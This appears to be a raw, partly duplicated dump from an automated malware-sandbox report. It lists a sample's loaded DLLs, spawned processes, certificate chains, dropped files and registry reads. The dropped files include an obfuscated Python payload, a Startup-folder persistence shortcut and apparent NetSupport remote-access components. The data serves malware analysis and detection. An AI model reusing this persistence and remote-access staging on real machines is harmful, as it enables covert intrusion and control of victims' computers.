string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\fe3c9cf707273488c6c658d52d624640\System.ni.dll" [Source: 00000000-00003640-00000C2B-560875101] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\21ff4ba4607b18a9b179ab90fd3b0bc1\System.Core.ni.dll" [Source: 00000000-00003640-00000C2B-561071416] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00003640-00000C2B-561108004] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00003640-00000C2B-561216657] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00003640-00000C2B-561419985] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00003640-00000C2B-561985298] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00003640-00000C2B-562201638] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00003640-00000C2B-562215044] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\76ff225c5a523f0be2364b0fc02bf7f9\System.Xml.ni.dll" [Source: 00000000-00003640-00000C2B-562514149] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00003640-00000C2B-562683378] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00003640-00000C2B-562805149] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00003640-00000C2B-563006841] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00003640-00000C2B-563065893] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" [Source: 00000000-00003640-00000C2B-563210143] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00003640-00000C2B-563294968]5f:Td8f,Spawned process "pythonw.exe" with commandline "%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\main.py" (UID: 00000000-00003580) Spawned process "powershell.exe" (UID: 00000000-00003640) Spawned process "chrome.exe" with commandline "--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio - ..." (UID: 00000000-00006764) Spawned process "chrome.exe" with commandline "--type=crashpad-handler --user-data-dir=%TEMP%\\zxllluua.ono /pr ..." (UID: 00000000-00006936) Spawned process "chrome.exe" with commandline "--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio - ..." (UID: 00000000-00000440) Spawned process "chrome.exe" with commandline "--type=crashpad-handler --user-data-dir=%TEMP%\\hexkwpy4.mrx /pr ..." (UID: 00000000-00002012) Spawned process "chrome.exe" with commandline "--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio - ..." (UID: 00000000-00007976) Spawned process "chrome.exe" with commandline "--type=crashpad-handler --user-data-dir=%TEMP%\\zgrtvdml.jdp /pr ..." (UID: 00000000-00005576) Spawned process "chrome.exe" with commandline "--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio - ..." (UID: 00000000-00001812) Spawned process "chrome.exe" with commandline "--type=crashpad-handler --user-data-dir=%TEMP%\\lllb4egj.oit /pr ..." (UID: 00000000-00008072) Spawned process "chrome.exe" with commandline "--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio - ..." (UID: 00000000-00003352) Spawned process "chrome.exe" with commandline "--type=crashpad-handler --user-data-dir=%TEMP%\\ftmfxzfk.oni /pr ..." (UID: 00000000-00005176) Spawned process "chrome.exe" with commandline "--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio - ..." (UID: 00000000-00006676) Spawned process "chrome.exe" with commandline "--type=crashpad-handler --user-data-dir=%TEMP%\\azezuu31.qr3 /pr ..." (UID: 00000000-00005020) Spawned process "chrome.exe" with commandline "--type=gpu-process --no-sandbox --user-data-dir="%TEMP%\\azezuu3 ..." (UID: 00000000-00005016), Spawned process "chrome.exe" with commandline "--type=utility --utility-sub-type=network.mojom.NetworkService - ..." (UID: 00000000-00005196), Spawned process "chrome.exe" with commandline "--type=utility --utility-sub-type=storage.mojom.StorageService - ..." (UID: 00000000-00004052), Spawned process "chrome.exe" with commandline "--type=renderer --user-data-dir="%TEMP%\\azezuu31.qr3" --no-pre- ..." (UID: 00000000-00002008), Spawned process "chrome.exe" with commandline "--type=renderer --user-data-dir="%TEMP%\\azezuu31.qr3" --no-pre- ..." (UID: 00000000-00007092), Spawned process "chrome.exe" with commandline "--type=renderer --user-data-dir="%TEMP%\\azezuu31.qr3" --no-pre- ..." (UID: 00000000-00005860), Spawned process "chrome.exe" with commandline "--type=renderer --user-data-dir="%TEMP%\\azezuu31.qr3" --extensi ..." (UID: 00000000-00000576), Spawned process "chrome.exe" with commandline "--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio - ..." (UID: 00000000-00007400), Spawned process "chrome.exe" with commandline "--type=crashpad-handler --user-data-dir=%TEMP%\\lib3q4vh.y4g /pr ..." (UID: 00000000-00001144), Spawned process "chrome.exe" with commandline "--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio - ..." (UID: 00000000-00004708), Spawned process "chrome.exe" with commandline "--type=crashpad-handler --user-data-dir=%TEMP%\\qvb0czr3.fel /pr ..." (UID: 00000000-00008004)60:Td8f,Spawned process "pythonw.exe" with commandline "%ALLUSERSPROFILE%\\NexusSoftware\\felix1\\main.py" (UID: 00000000-00003580) Spawned process "powershell.exe" (UID: 00000000-00003640) Spawned process "chrome.exe" with commandline "--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio - ..." (UID: 00000000-00006764) Spawned process "chrome.exe" with commandline "--type=crashpad-handler --user-data-dir=%TEMP%\\zxllluua.ono /pr ..." (UID: 00000000-00006936) Spawned process "chrome.exe" with commandline "--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio - ..." (UID: 00000000-00000440) Spawned process "chrome.exe" with commandline "--type=crashpad-handler --user-data-dir=%TEMP%\\hexkwpy4.mrx /pr ..." (UID: 00000000-00002012) Spawned process "chrome.exe" with commandline "--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio - ..." (UID: 00000000-00007976) Spawned process "chrome.exe" with commandline "--type=crashpad-handler --user-data-dir=%TEMP%\\zgrtvdml.jdp /pr ..." (UID: 00000000-00005576) Spawned process "chrome.exe" with commandline "--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio - ..." (UID: 00000000-00001812) Spawned process "chrome.exe" with commandline "--type=crashpad-handler --user-data-dir=%TEMP%\\lllb4egj.oit /pr ..." (UID: 00000000-00008072) Spawned process "chrome.exe" with commandline "--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio - ..." (UID: 00000000-00003352) Spawned process "chrome.exe" with commandline "--type=crashpad-handler --user-data-dir=%TEMP%\\ftmfxzfk.oni /pr ..." (UID: 00000000-00005176) Spawned process "chrome.exe" with commandline "--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio - ..." (UID: 00000000-00006676) Spawned process "chrome.exe" with commandline "--type=crashpad-handler --user-data-dir=%TEMP%\\azezuu31.qr3 /pr ..." (UID: 00000000-00005020) Spawned process "chrome.exe" with commandline "--type=gpu-process --no-sandbox --user-data-dir="%TEMP%\\azezuu3 ..." (UID: 00000000-00005016), Spawned process "chrome.exe" with commandline "--type=utility --utility-sub-type=network.mojom.NetworkService - ..." (UID: 00000000-00005196), Spawned process "chrome.exe" with commandline "--type=utility --utility-sub-type=storage.mojom.StorageService - ..." (UID: 00000000-00004052), Spawned process "chrome.exe" with commandline "--type=renderer --user-data-dir="%TEMP%\\azezuu31.qr3" --no-pre- ..." (UID: 00000000-00002008), Spawned process "chrome.exe" with commandline "--type=renderer --user-data-dir="%TEMP%\\azezuu31.qr3" --no-pre- ..." (UID: 00000000-00007092), Spawned process "chrome.exe" with commandline "--type=renderer --user-data-dir="%TEMP%\\azezuu31.qr3" --no-pre- ..." (UID: 00000000-00005860), Spawned process "chrome.exe" with commandline "--type=renderer --user-data-dir="%TEMP%\\azezuu31.qr3" --extensi ..." (UID: 00000000-00000576), Spawned process "chrome.exe" with commandline "--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio - ..." (UID: 00000000-00007400), Spawned process "chrome.exe" with commandline "--type=crashpad-handler --user-data-dir=%TEMP%\\lib3q4vh.y4g /pr ..." (UID: 00000000-00001144), Spawned process "chrome.exe" with commandline "--no-sandbox --allow-no-sandbox-job --disable-gpu --mute-audio - ..." (UID: 00000000-00004708), Spawned process "chrome.exe" with commandline "--type=crashpad-handler --user-data-dir=%TEMP%\\qvb0czr3.fel /pr ..." (UID: 00000000-00008004)61:Tafe,The input sample is signed with a certificate issued by "CN=WE2, O=Google Trust Services, C=US" (SHA1: 2F:4E:03:F7:F5:9B:7C:D0:C5:47:D3:BB:90:C0:BD:78:56:C2:21:43; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 4D:9A:CB:31:3D:73:DA:2E:9E:B4:51:A7:CF:63:09:AF:45:C9:93:C1; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information) The input sample is signed with a certificate issued by "CN=WE2, O=Google Trust Services, C=US" (SHA1: 35:FF:B4:CB:62:62:2A:26:BF:CA:7B:D8:97:AC:D4:34:DC:A0:E7:AC; see report for more information) The input sample is signed with a certificate issued by "CN=WE2, O=Google Trust Services, C=US" (SHA1: AE:BD:84:85:8E:C5:11:85:74:3D:03:31:4C:F1:48:FC:FD:34:A4:40; see report for more information) The input sample is signed with a certificate issued by "CN=YE2, O=Let's Encrypt, C=US" (SHA1: B7:19:F6:55:8C:41:43:72:15:D1:45:C5:95:56:5C:1E:E3:B1:DA:24; see report for more information) The input sample is signed with a certificate issued by "CN=Root YE, O=ISRG, C=US" (SHA1: F8:15:8C:A8:A3:A7:C5:DB:D7:84:22:18:F5:D9:49:CE:C8:3A:CD:BA; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X2, O=Internet Security Research Group, C=US" (SHA1: F3:76:20:FC:4B:1C:DD:D2:A3:D7:4B:1D:5E:8D:B4:2E:24:4C:A0:06; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: 3C:34:E3:56:C7:FC:17:F5:AC:F0:48:24:BC:58:7C:6C:62:39:51:A2; see report for more information) The input sample is signed with a certificate issued by "CN=YE2, O=Let's Encrypt, C=US" (SHA1: B8:23:09:A2:85:22:9D:AA:96:5D:32:D1:48:04:18:A7:B1:98:C3:85; see report for more information) The input sample is signed with a certificate issued by "CN=YR1, O=Let's Encrypt, C=US" (SHA1: 09:3B:E7:46:42:84:15:78:B0:20:62:F6:6E:CD:11:71:36:E8:94:59; see report for more information) The input sample is signed with a certificate issued by "CN=Root YR, O=ISRG, C=US" (SHA1: CB:CF:D0:9C:E3:CD:22:D9:9D:94:E5:8F:92:E9:89:8F:BE:E5:1A:5E; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: AB:9D:02:63:24:4D:D0:32:6E:B6:70:15:70:5A:66:7E:79:CF:E9:98; see report for more information) The input sample is signed with a certificate issued by "CN=WE2, O=Google Trust Services, C=US" (SHA1: 8D:08:D2:79:E1:9E:5A:97:1C:00:19:D5:C9:07:06:37:74:9E:E4:0C; see report for more information)62:T2afe,"python313.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\python313.dll]- [targetUID: 00000000-00002512] "libcrypto-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\libcrypto-3.dll]- [targetUID: 00000000-00002512] "sqlite3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\sqlite3.dll]- [targetUID: 00000000-00002512] "libssl-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\libssl-3.dll]- [targetUID: 00000000-00002512] "python.cat" has type "DER Encoded PKCS#7 Signed Data"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\python.cat]- [targetUID: 00000000-00002512] "vcruntime140.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\vcruntime140.dll]- [targetUID: 00000000-00002512] "msedgewebview.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections"- Location: [%TEMP%\test2\msedgewebview.exe]- [targetUID: 00000000-00002512] "python.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\python.exe]- [targetUID: 00000000-00002512] "pythonw.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\pythonw.exe]- [targetUID: 00000000-00002512] "remcmdstub.exe" has type "PE32 executable for MS Windows 5.01 (console) Intel i386 5 sections"- Location: [%TEMP%\test2\remcmdstub.exe]- [targetUID: 00000000-00002512] "python3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 2 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\python3.dll]- [targetUID: 00000000-00002512] "vcruntime140_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\vcruntime140_1.dll]- [targetUID: 00000000-00002512] "pcicapi.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%TEMP%\test2\pcicapi.dll]- [targetUID: 00000000-00002512] "pythonw.exe.lnk" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Has Working directory Has command line arguments Unicoded MachineID fcsw9q3vy2vn646 Archive NeedIndexed ctime=Tue Feb 3 15:42:26 2026 atime=Fri Oct 30 14:55:07 2026 mtime=Tue Feb 3 15:42:26 2026 length=104280 window=normal IDListSize 0x01a9 Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D" Volume "C:\" LocalBasePath "C:\ProgramData\NexusSoftware\felix1\pythonw.exe""- Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\pythonw.exe.lnk]- [targetUID: 00000000-00002512] "nskbfltr.inf" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\test2\nskbfltr.inf]- [targetUID: 00000000-00002512] "python313.zip" has type "Zip archive data made by v2.0 extract using at least v2.0 last modified Feb 03 2026 19:42:42 uncompressed size 4926 method=deflate"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\python313.zip]- [targetUID: 00000000-00002512] "PCICL32.DLL" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 7 sections"- Location: [%TEMP%\test2\PCICL32.DLL]- [targetUID: 00000000-00002512] "unicodedata.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\unicodedata.pyd]- [targetUID: 00000000-00002512] "pyarmor_runtime.pyd" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 (stripped to external PDB) 11 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\pyarmor_runtime_000000\pyarmor_runtime.pyd]- [targetUID: 00000000-00002512] "d8201d13-9cfd-46a9-a3ec-f0d0c917ee71.lic" has type "data"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\d8201d13-9cfd-46a9-a3ec-f0d0c917ee71.lic]- [targetUID: 00000000-00002512] "TCCTL32.DLL" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%TEMP%\test2\TCCTL32.DLL]- [targetUID: 00000000-00002512] "HTCTL32.DLL" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%TEMP%\test2\HTCTL32.DLL]- [targetUID: 00000000-00002512] "_decimal.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_decimal.pyd]- [targetUID: 00000000-00002512] "pyexpat.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\pyexpat.pyd]- [targetUID: 00000000-00002512] "_ssl.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_ssl.pyd]- [targetUID: 00000000-00002512] "_lzma.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_lzma.pyd]- [targetUID: 00000000-00002512] "_elementtree.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_elementtree.pyd]- [targetUID: 00000000-00002512] "_ctypes.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_ctypes.pyd]- [targetUID: 00000000-00002512] "_sqlite3.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_sqlite3.pyd]- [targetUID: 00000000-00002512] "main.py" has type "Python script ASCII text executable with very long lines (65414) with CRLF line terminators"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\main.py]- [targetUID: 00000000-00002512] "_bz2.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_bz2.pyd]- [targetUID: 00000000-00002512] "_socket.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_socket.pyd]- [targetUID: 00000000-00002512] "_asyncio.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_asyncio.pyd]- [targetUID: 00000000-00002512] "_hashlib.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_hashlib.pyd]- [targetUID: 00000000-00002512] "_overlapped.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_overlapped.pyd]- [targetUID: 00000000-00002512] "_zoneinfo.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_zoneinfo.pyd]- [targetUID: 00000000-00002512] "_wmi.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_wmi.pyd]- [targetUID: 00000000-00002512] "_multiprocessing.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_multiprocessing.pyd]- [targetUID: 00000000-00002512] "_queue.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_queue.pyd]- [targetUID: 00000000-00002512] "LICENSE.txt" has type "ASCII text with CRLF LF line terminators"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\LICENSE.txt]- [targetUID: 00000000-00002512] "select.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\select.pyd]- [targetUID: 00000000-00002512] "winsound.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\winsound.pyd]- [targetUID: 00000000-00002512] "_uuid.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\_uuid.pyd]- [targetUID: 00000000-00002512] "StartupProfileData-Interactive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-Interactive]- [targetUID: 00000000-00003640] "fd900f40-0cbd-4cf3-8efd-f248ac7ed542.lic" has type "data"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\fd900f40-0cbd-4cf3-8efd-f248ac7ed542.lic]- [targetUID: 00000000-00002512] "PCICHEK.DLL" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%TEMP%\test2\PCICHEK.DLL]- [targetUID: 00000000-00002512] "ModuleAnalysisCache" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\ModuleAnalysisCache]- [targetUID: 00000000-00003640] "NSM.ini" has type "Generic INItialization configuration [Features]"- Location: [%TEMP%\test2\NSM.ini]- [targetUID: 00000000-00002512] "Preferences" has type "JSON text data"- [targetUID: N/A] "client32.ini" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\test2\client32.ini]- [targetUID: 00000000-00002512] "NSM.LIC" has type "ASCII text with CRLF line terminators"- Location: [%TEMP%\test2\NSM.LIC]- [targetUID: 00000000-00002512] "__init__.cpython-313.pyc.2362310367472" has type "Byte-compiled Python module for CPython 3.13 (magic: 3571) timestamp-based .py timestamp: Fri Oct 30 14:54:24 2026 UTC .py size: 103 bytes"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\pyarmor_runtime_000000\__pycache__\__init__.cpython-313.pyc.2362310367472]- [targetUID: 00000000-00003580] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\pyarmor_runtime_000000\__init__.py]- [targetUID: 00000000-00002512] "python313._pth" has type "ASCII text with CRLF line terminators"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\python313._pth]- [targetUID: 00000000-00002512] "__PSScriptPolicyTest_ecgy5pmv.vzc.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_ecgy5pmv.vzc.psm1]- [targetUID: 00000000-00003640] "signature.lic" has type "ASCII text with no line terminators"- Location: [%TEMP%\test2\signature.lic]- [targetUID: 00000000-00002512] "__PSScriptPolicyTest_0qogiro2.gxk.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_0qogiro2.gxk.ps1]- [targetUID: 00000000-00003640] "__PSScriptPolicyTest_tuseizss.oc1.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_tuseizss.oc1.ps1]- [targetUID: 00000000-00003640] "__PSScriptPolicyTest_pcc44xps.adi.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_pcc44xps.adi.psm1]- [targetUID: 00000000-00003640]63:T82c,"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\THEMES\PERSONALIZE"; Key: ""; Value: "") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: ""; Value: "") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\CONNECTIONS"; Key: ""; Value: "") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: ""; Value: "") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\"; Key: ""; Value: "") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\A459CC80F8AD88B4E68B4BA073D2A4D7B34CA1072C1201551A09AE8CCD8DD8F6.EXE"; Key: ""; Value: "") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: ""; Value: "") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: ""; Value: "") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\SHELLCOMPATIBILITY\APPLICATIONS\A459CC80F8AD88B4E68B4BA073D2A4D7B34CA1072C1201551A09AE8CCD8DD8F6.EXE"; Key: ""; Value: "")64:T5c5,"python313.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\python313.dll]- [targetUID: 00000000-00002512] "libcrypto-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\libcrypto-3.dll]- [targetUID: 00000000-00002512] "sqlite3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\sqlite3.dll]- [targetUID: 00000000-00002512] "libssl-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\libssl-3.dll]- [targetUID: 00000000-00002512] "vcruntime140.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\vcruntime140.dll]- [targetUID: 00000000-00002512] "python3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 2 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\python3.dll]- [targetUID: 00000000-00002512] "vcruntime140_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%ALLUSERSPROFILE%\NexusSoftware\felix1\vcruntime140_1.dll]- [targetUID: 00000000-00002512] "pcicapi.dll" has type "PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections"- Location: [%TEMP%\test2\pcicapi.dll]- [targetUID: 00000000-00002512]65:Te12,"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\THEMES\PERSONALIZE"; Key: "APPSUSELIGHTTHEME"; Value: "") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "673CF800-208A-5327-3F4B-2BE44A66627A"; Value: "") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYSETTINGSPERUSER"; Value: "") 